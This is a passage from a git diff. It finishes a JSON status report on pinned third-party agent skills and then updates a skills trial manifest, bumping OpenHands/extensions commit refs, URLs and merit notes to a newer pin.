"9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "8942a4f915c681dbc62047d4bfa11f998738ecb0", + "head_tree": "8942a4f915c681dbc62047d4bfa11f998738ecb0", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "ticket-to-code-change", + "source": "OpenHands/extensions", + "path": "skills/ticket-to-code-change", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "062c50c64ebe0b86de3adda752208dd8b3539d49", + "head_tree": "062c50c64ebe0b86de3adda752208dd8b3539d49", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "to-java-migration", + "source": "OpenHands/extensions", + "path": "plugins/cobol-modernization/skills/to-java-migration", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "e5bc7457ba29e05f0abdedb957f6121dd15e795e", + "head_tree": "e5bc7457ba29e05f0abdedb957f6121dd15e795e", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "to-spec", + "source": "mattpocock/skills", + "path": "skills/engineering/to-spec", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "136b9651747cfccbfbb7c50a6b0dfb757e7547d2", + "head_tree": "136b9651747cfccbfbb7c50a6b0dfb757e7547d2", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "to-tickets", + "source": "mattpocock/skills", + "path": "skills/engineering/to-tickets", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "b32c94e5a51c24ee9c41fcb7fe9ea9fff9af6369", + "head_tree": "b32c94e5a51c24ee9c41fcb7fe9ea9fff9af6369", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "typesafe-ai", + "source": "typesafe-ai/skills", + "path": "skills/typesafe-ai", + "status": "trial", + "pinned_ref": "65a39f393687675ce170e6094757de20370365b9", + "head_ref": "65a39f393687675ce170e6094757de20370365b9", + "pinned_tree": "678c375b883794bf4292715a43acbba5c84681aa", + "head_tree": "678c375b883794bf4292715a43acbba5c84681aa", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "65a39f393687675ce170e6094757de20370365b9", + "native_check_advances_commit_pin": false + }, + { + "name": "upstream-fork-sync", + "source": "OpenHands/extensions", + "path": "skills/upstream-fork-sync", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "2dbfcf26ede4df1236f2d5882defc39b639d2574", + "head_tree": "2dbfcf26ede4df1236f2d5882defc39b639d2574", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "using-git-worktrees", + "source": "obra/superpowers", + "path": "skills/using-git-worktrees", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "d2b8357b922667a091bfe967840abf5ae84ce99c", + "head_tree": "d2b8357b922667a091bfe967840abf5ae84ce99c", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "using-superpowers", + "source": "obra/superpowers", + "path": "skills/using-superpowers", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "4c777432715fe58984d212a36aedc6a18472e512", + "head_tree": "4c777432715fe58984d212a36aedc6a18472e512", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "uv", + "source": "OpenHands/extensions", + "path": "skills/uv", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "35be5b0352ad8f5cba3b92b3fbb6162b260e9a24", + "head_tree": "35be5b0352ad8f5cba3b92b3fbb6162b260e9a24", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "variant-analysis", + "source": "trailofbits/skills", + "path": "plugins/variant-analysis/skills/variant-analysis", + "status": "trial", + "pinned_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "pinned_tree": "583d7addbf5e04108cc5fece9c99a4d9c6db5ce9", + "head_tree": "583d7addbf5e04108cc5fece9c99a4d9c6db5ce9", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "native_check_advances_commit_pin": false + }, + { + "name": "vercel", + "source": "OpenHands/extensions", + "path": "skills/vercel", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "a1a03f2db71aea8b1a1f8cedea6cfd57963de76b", + "head_tree": "a1a03f2db71aea8b1a1f8cedea6cfd57963de76b", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "vercel-composition-patterns", + "source": "vercel-labs/agent-skills", + "path": "skills/composition-patterns", + "status": "trial", + "pinned_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "head_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "pinned_tree": "bf90d0a4b83ea054653350f9c67f6de235d3a368", + "head_tree": "bf90d0a4b83ea054653350f9c67f6de235d3a368", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "native_check_advances_commit_pin": false + }, + { + "name": "vercel-optimize", + "source": "vercel-labs/agent-skills", + "path": "skills/vercel-optimize", + "status": "trial", + "pinned_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "head_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "pinned_tree": "0901aa3667db7a6e5cc40b213327290bf6556373", + "head_tree": "0901aa3667db7a6e5cc40b213327290bf6556373", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "native_check_advances_commit_pin": false + }, + { + "name": "vercel-react-best-practices", + "source": "vercel-labs/agent-skills", + "path": "skills/react-best-practices", + "status": "trial", + "pinned_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "head_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "pinned_tree": "343db72180d05814949fef7d46be96b5c6ee86b3", + "head_tree": "343db72180d05814949fef7d46be96b5c6ee86b3", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "native_check_advances_commit_pin": false + }, + { + "name": "web-design-guidelines", + "source": "vercel-labs/agent-skills", + "path": "skills/web-design-guidelines", + "status": "trial", + "pinned_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "head_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "pinned_tree": "3116f3e62dbd02b44a598b1aa690d2a8938e8f89", + "head_tree": "3116f3e62dbd02b44a598b1aa690d2a8938e8f89", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "native_check_advances_commit_pin": false + }, + { + "name": "webapp-testing", + "source": "anthropics/skills", + "path": "skills/webapp-testing", + "status": "trial", + "pinned_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "pinned_tree": "5ffb7dc66b9fd4c25c3e400a4c00da99a349b714", + "head_tree": "5ffb7dc66b9fd4c25c3e400a4c00da99a349b714", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "native_check_advances_commit_pin": false + }, + { + "name": "writing-for-agents", + "source": "mattpocock/skills", + "path": "skills/productivity/writing-for-agents", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "ad2925850efb8973a72d2e666f7a975f9a2d4a9b", + "head_tree": "ad2925850efb8973a72d2e666f7a975f9a2d4a9b", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "writing-plans", + "source": "obra/superpowers", + "path": "skills/writing-plans", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "cc97fa00eb2ccd4f283e34eb2ba06a48e1e679f7", + "head_tree": "cc97fa00eb2ccd4f283e34eb2ba06a48e1e679f7", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "writing-skills", + "source": "obra/superpowers", + "path": "skills/writing-skills", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "f761162236b19330da62b22ad0da20f5dac7c6ab", + "head_tree": "f761162236b19330da62b22ad0da20f5dac7c6ab", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "xlsx", + "source": "anthropics/skills", + "path": "skills/xlsx", + "status": "trial", + "pinned_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "pinned_tree": "fe6471cc9b5b97aae0b576ccb92ffd9b0207589d", + "head_tree": "fe6471cc9b5b97aae0b576ccb92ffd9b0207589d", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "native_check_advances_commit_pin": false + } + ], + "errors": [], + "ok": true +} diff --git a/blueprints/runtime-workers/skills/manifest.json b/blueprints/runtime-workers/skills/manifest.json index aef92bcd6..0e23620fe 100644 --- a/blueprints/runtime-workers/skills/manifest.json +++ b/blueprints/runtime-workers/skills/manifest.json @@ -2,7 +2,7 @@ "schema_version": 1, "kind": "skills_trial_manifest", "scope": "project", - "checked_at": "2026-09-27", + "checked_at": "2026-09-30", "decision_record": "blueprints/runtime-workers/skills/research.md", "cli": { "package": "skills", @@ -61,8 +61,8 @@ { "name": "add-javadoc", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/add-javadoc", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/add-javadoc", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/add-javadoc", "tree_sha": "4fab124ceaaa67a393a674384015158e3f50b100", "skill_md_sha256": "93422a18b7d6a98ed4800c800c9d2a4842dc465454253038d9cc091bd5bd45e1", @@ -78,7 +78,7 @@ "orchestration" ], "status": "trial", - "merit_note": "Supplies domain-specific documentation or integration design guidance backed by the upstream implementation. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/add-javadoc/SKILL.md:1" + "merit_note": "Supplies domain-specific documentation or integration design guidance backed by the upstream implementation. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/add-javadoc/SKILL.md:1" }, { "name": "agent-browser", @@ -106,8 +106,8 @@ { "name": "agent-canvas-environment", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/agent-canvas-environment", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/agent-canvas-environment", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/agent-canvas-environment", "tree_sha": "f86b5b739f7a97afbf53f343beb63824942bcb4d", "skill_md_sha256": "40562401fb3e07a921f4a1451cc44a4ed6441239c18a4f334791fa6a953f103c", @@ -123,13 +123,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Covers the optional Agent Canvas application environment; useful only on workers given that environment. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/agent-canvas-environment/SKILL.md:1" + "merit_note": "Covers the optional Agent Canvas application environment; useful only on workers given that environment. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/agent-canvas-environment/SKILL.md:1" }, { "name": "agent-creator", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/agent-creator", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/agent-creator", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/agent-creator", "tree_sha": "1dd69a47d0bfecf45a52add4cf4081f2afd9bef4", "skill_md_sha256": "c7321d4a60420cefe8f06b8946d4501f0a6a18352f1f79e9526354266cf0109f", @@ -144,13 +144,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Documents native OpenHands agent construction or orchestration APIs instead of a replacement runtime. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/agent-creator/SKILL.md:1" + "merit_note": "Documents native OpenHands agent construction or orchestration APIs instead of a replacement runtime. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/agent-creator/SKILL.md:1" }, { "name": "agent-memory", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/agent-memory", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/agent-memory", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/agent-memory", "tree_sha": "7ae7fc4e3658214947c683162df6dce3a910d813", "skill_md_sha256": "f91fb602088b14732037b54c72de8648dd6c14b4261265eb0e4c87ac43b442bd", @@ -168,13 +168,13 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Persists reusable repository knowledge or a bounded handoff with a reviewable source artifact. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/agent-memory/SKILL.md:1" + "merit_note": "Persists reusable repository knowledge or a bounded handoff with a reviewable source artifact. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/agent-memory/SKILL.md:1" }, { "name": "agent-readiness-report", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/plugins/onboarding/skills/agent-readiness-report", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/plugins/onboarding/skills/agent-readiness-report", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "plugins/onboarding/skills/agent-readiness-report", "tree_sha": "77d14adb7d8da1ff94707b5119800ff32643cab4", "skill_md_sha256": "e11eafa6fa0be079680bf49d7376dddff7261ec353e35a1a070d8d3c9f10b3b1", @@ -190,13 +190,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Checks and improves repository instructions and feedback loops for autonomous workers. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 plugins/onboarding/skills/agent-readiness-report/SKILL.md:1" + "merit_note": "Checks and improves repository instructions and feedback loops for autonomous workers. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b plugins/onboarding/skills/agent-readiness-report/SKILL.md:1" }, { "name": "agent-sdk-builder", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/agent-sdk-builder", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/agent-sdk-builder", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/agent-sdk-builder", "tree_sha": "7c2ce2de2c2e607e53a4cb9980a2dde6a2a49f9a", "skill_md_sha256": "0085981836b18cd815079936ea7784e575a1def0d77ba41f72d9b2abe7589cab", @@ -211,7 +211,7 @@ "orchestration" ], "status": "trial", - "merit_note": "Documents native OpenHands agent construction or orchestration APIs instead of a replacement runtime. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/agent-sdk-builder/SKILL.md:1" + "merit_note": "Documents native OpenHands agent construction or orchestration APIs instead of a replacement runtime. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/agent-sdk-builder/SKILL.md:1" }, { "name": "agentic-actions-auditor", @@ -239,8 +239,8 @@ { "name": "azure-devops", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/azure-devops", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/azure-devops", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/azure-devops", "tree_sha": "dee8b13d0bd7e0a49f6ae17d78fd8f1fc4d1c356", "skill_md_sha256": "df602c5dc300b53b5163806ee6b573dab3126db64b4e7c237ba4ddfbb0c2d5fc", @@ -255,13 +255,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Covers alternate source-control or ticket systems encountered during planning; not counted as GitHub-specific coverage. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/azure-devops/SKILL.md:1" + "merit_note": "Covers alternate source-control or ticket systems encountered during planning; not counted as GitHub-specific coverage. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/azure-devops/SKILL.md:1" }, { "name": "bitbucket", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/bitbucket", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/bitbucket", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/bitbucket", "tree_sha": "459944c2558e7d82bc70f367c6ba084a276de343", "skill_md_sha256": "b9c7fb63cef358d8a21e8348c8c5290d60acc91c536774b88b7121bee6ff0bd1", @@ -276,13 +276,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Covers alternate source-control or ticket systems encountered during planning; not counted as GitHub-specific coverage. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/bitbucket/SKILL.md:1" + "merit_note": "Covers alternate source-control or ticket systems encountered during planning; not counted as GitHub-specific coverage. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/bitbucket/SKILL.md:1" }, { "name": "bitbucket-cloud", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/bitbucket-cloud", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/bitbucket-cloud", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/bitbucket-cloud", "tree_sha": "a54aed17547b26848f508043b2ea24e14339d77a", "skill_md_sha256": "05fa500943fea4940408098e2411cabaa2d316dabb7a56ceeacad3cd2e59057a", @@ -297,13 +297,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Covers alternate source-control or ticket systems encountered during planning; not counted as GitHub-specific coverage. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/bitbucket-cloud/SKILL.md:1" + "merit_note": "Covers alternate source-control or ticket systems encountered during planning; not counted as GitHub-specific coverage. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/bitbucket-cloud/SKILL.md:1" }, { "name": "bitbucket-data-center", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/bitbucket-data-center", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/bitbucket-data-center", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/bitbucket-data-center", "tree_sha": "6c5d58d993ee9e27e5d5c8db0b51c225535d16f5", "skill_md_sha256": "912dd5497f8bd3608b1dea6913732239f6cc1ca7996340884688c46a6c56193f", @@ -318,7 +318,7 @@ "orchestration" ], "status": "trial", - "merit_note": "Covers alternate source-control or ticket systems encountered during planning; not counted as GitHub-specific coverage. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/bitbucket-data-center/SKILL.md:1" + "merit_note": "Covers alternate source-control or ticket systems encountered during planning; not counted as GitHub-specific coverage. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/bitbucket-data-center/SKILL.md:1" }, { "name": "brainstorming", @@ -346,8 +346,8 @@ { "name": "build-setup", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/plugins/cobol-modernization/skills/build-setup", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/plugins/cobol-modernization/skills/build-setup", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "plugins/cobol-modernization/skills/build-setup", "tree_sha": "a20c5d119b1b4ba8a0391c9276196b2d0faaad0a", "skill_md_sha256": "922b0812ba608d51cf760372293f498818544695fe02c61ce7db593d187b8572", @@ -363,7 +363,7 @@ "orchestration" ], "status": "trial", - "merit_note": "Covers specialized language migrations with test fixtures and explicit transformation steps. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 plugins/cobol-modernization/skills/build-setup/SKILL.md:1" + "merit_note": "Covers specialized language migrations with test fixtures and explicit transformation steps. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b plugins/cobol-modernization/skills/build-setup/SKILL.md:1" }, { "name": "canvas-extension-api", @@ -390,8 +390,8 @@ { "name": "cobol-modernization", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/plugins/cobol-modernization/skills/cobol-modernization", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/plugins/cobol-modernization/skills/cobol-modernization", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "plugins/cobol-modernization/skills/cobol-modernization", "tree_sha": "d86574828d9f3e5aea2b7066105eb44d9e97715c", "skill_md_sha256": "551452a767707ba2827fc654475e29d5c3735a6eef152e579decaa52b4e3759d", @@ -407,13 +407,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Covers specialized language migrations with test fixtures and explicit transformation steps. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 plugins/cobol-modernization/skills/cobol-modernization/SKILL.md:1" + "merit_note": "Covers specialized language migrations with test fixtures and explicit transformation steps. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b plugins/cobol-modernization/skills/cobol-modernization/SKILL.md:1" }, { "name": "code-review", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/code-review", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/code-review", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/code-review", "tree_sha": "bd04e3765993619aae24ccabbd84b94121464334", "skill_md_sha256": "f4a3bf947db539fbb0467598c7bfed0ef25164278b5a22ad760eff5f78057dee", @@ -429,13 +429,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Provides evidence-grounded change review and feedback handling as explicit lifecycle stages. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/code-review/SKILL.md:1" + "merit_note": "Provides evidence-grounded change review and feedback handling as explicit lifecycle stages. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/code-review/SKILL.md:1" }, { "name": "code-simplifier", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/code-simplifier", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/code-simplifier", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/code-simplifier", "tree_sha": "6da51b9d5dee02ec26954c3961cb64bc21b69215", "skill_md_sha256": "ba5cfc2908e5d7e4a896a88c87294a348f356222e5f7118753ed443c0c3a1116", @@ -451,7 +451,7 @@ "orchestration" ], "status": "trial", - "merit_note": "Provides evidence-grounded change review and feedback handling as explicit lifecycle stages. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/code-simplifier/SKILL.md:1" + "merit_note": "Provides evidence-grounded change review and feedback handling as explicit lifecycle stages. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/code-simplifier/SKILL.md:1" }, { "name": "codebase-design", @@ -502,8 +502,8 @@ { "name": "datadog", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/datadog", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/datadog", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/datadog", "tree_sha": "9fcb3bd5ed49971a98224e69d9d7d92fa49d7727", "skill_md_sha256": "c67db102d293d21ee9318d51e5da8e86ed2d5ed1d92635a6830552b83c457c7f", @@ -518,13 +518,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Uses native logs, metrics or deployment state for operational diagnosis when the required service is present. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/datadog/SKILL.md:1" + "merit_note": "Uses native logs, metrics or deployment state for operational diagnosis when the required service is present. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/datadog/SKILL.md:1" }, { "name": "deno", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/deno", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/deno", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/deno", "tree_sha": "521248e905142109eedf85ed8b05d12d7f95c099", "skill_md_sha256": 